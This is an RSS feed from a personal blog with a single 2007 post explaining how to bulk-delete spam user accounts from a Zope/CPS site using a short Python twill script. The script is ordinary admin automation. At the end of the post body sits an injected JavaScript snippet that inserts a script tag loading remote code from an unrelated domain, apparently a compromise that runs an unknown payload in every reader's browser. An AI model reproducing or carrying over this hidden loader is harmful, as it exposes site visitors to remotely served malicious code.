<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; cps</title>
	<atom:link href="http://www.larsen-b.com/tags/cps/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Howto to a delete lot of Zope/Plone/CPS User account ?</title>
		<link>http://www.larsen-b.com/Article/253.html</link>
		<comments>http://www.larsen-b.com/Article/253.html#comments</comments>
		<pubDate>Mon, 05 Feb 2007 15:44:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zope]]></category>
		<category><![CDATA[cps]]></category>
		<category><![CDATA[plone]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[In a previous post, I study the way some spammers use plone user folder to spam my blog. But this time, it&#8217;s my turn. I host since a little time right now, a small CPS website for my work. And &#8230; <a href="http://www.larsen-b.com/Article/253.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>In a <a class="reference" href="http://www.larsen-b.com/Article/239.html">previous</a> post, I study the way some spammers use plone user folder to spam my blog. But this time, it&#8217;s my turn. I host since a little time right now, a small <a class="reference" href="http://www.cps-project.org/">CPS</a><br />
website for my work. And I discovered a lot of spammer user account on it.</p>
<p>The main issue, is that I haven&#8217;t unset the &#8220;joinable&#8221; flag, so everybody can create a account. By the way password are sent, spammers doesn&#8217;t manage to post stuff in the personnal area.</p>
<p>With 300 users, and only 4 valids, I need to find a way to clean the acl_user folder. Last <a class="reference" href="http://www.larsen-b.com/Article/249.html">time</a> I used twill, this works really great, so I decided to use the same stuff for Zope.</p>
<p>Here my little script:</p>
<pre class="literal-block">#!/usr/bin/python

LOGIN='foo'
PASSWORD='far'

LOGIN_URL='http://your_server/manage_main'
USER_URL='http://your_server/acl_users/manage_users'
GOOD_USERS = ['jkx','foobar']

import twill

def delUsers():
   twill.commands.go(USER_URL)
   form = twill.commands.showforms()[0]

   usernames = form.possible_items('names:list')
   for u in usernames:
      if u not in GOOD_USERS:
         twill.commands.formvalue(1,'names:list',u)

      twill.commands.showforms()
      twill.commands.submit(3)

def doLogin():
   twill.commands.go(LOGIN_URL)
   forms = twill.commands.showforms()

   twill.commands.formvalue(2,'__ac_name',LOGIN)
   twill.commands.formvalue(2,'__ac_password',PASSWORD)
   twill.commands.submit()

if __name__ =='__main__':
  doLogin()
  delUsers()</pre>
<p>This will drop all user account (not the ones in GOOD_USERS) ..<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/253.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
